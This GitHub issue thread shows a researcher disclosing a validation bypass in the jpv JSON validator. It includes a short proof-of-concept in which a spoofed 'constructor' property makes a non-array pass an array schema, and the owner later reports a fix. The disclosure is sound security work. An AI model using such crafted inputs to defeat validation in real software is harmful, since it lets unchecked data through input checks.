New issue

Jump to bottom

Validation Bypass #10

Closed **Garrestocles** opened this issue on Aug 6, 2020 · 3 comments

Garrestocles commented on Aug 6, 2020

Hello,

I'm a security researcher at Sonatype, and I discovered a potential vulnerability in this project. Do you have a preferred way for me to share the details privately, or do you want me to just show you what I've got on this GitHub issue?

manvel-khnkoyan commented on Aug 7, 2020 Owner

Please, could you share it here ?
Thanks

Garrestocles commented on Aug 7, 2020 Author

I was looking at issue #6, and it seems like we can still bypass the provided fix. In the line where it's checking if the constructors match, it's still possible to just set the constructor of the data we're trying to get validated to mock whatever it's supposed to be.

Here's a Proof of Concept:

```
const jpv = require('jpv');

const someJson = {
    definitelyAnArray: {
      sneakyStuff: "Don't tell anyone, but I'm not actually an array.",
      constructor: [].constructor
    }
};
const schema = {
  definitelyAnArray: []
};

// jpv.validate(someJson, schema) should return false, but, as of 2.2.1, returns true
console.log("Validation is getting bypassed: " + jpv.validate(someJson, schema));
```

manvel-khnkoyan pushed a commit that referenced this issue on Aug 8, 2020

`Fixed Validation Bypass Issue #10` e3eec12

manvel-khnkoyan commented on Aug 19, 2020 Owner

The issue was fixed #10

manvel-khnkoyan closed this as completed on Aug 19, 2020

manvel-khnkoyan mentioned this issue on Aug 22, 2020

A validation bypass vulnerability in jpv #11

Closed

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants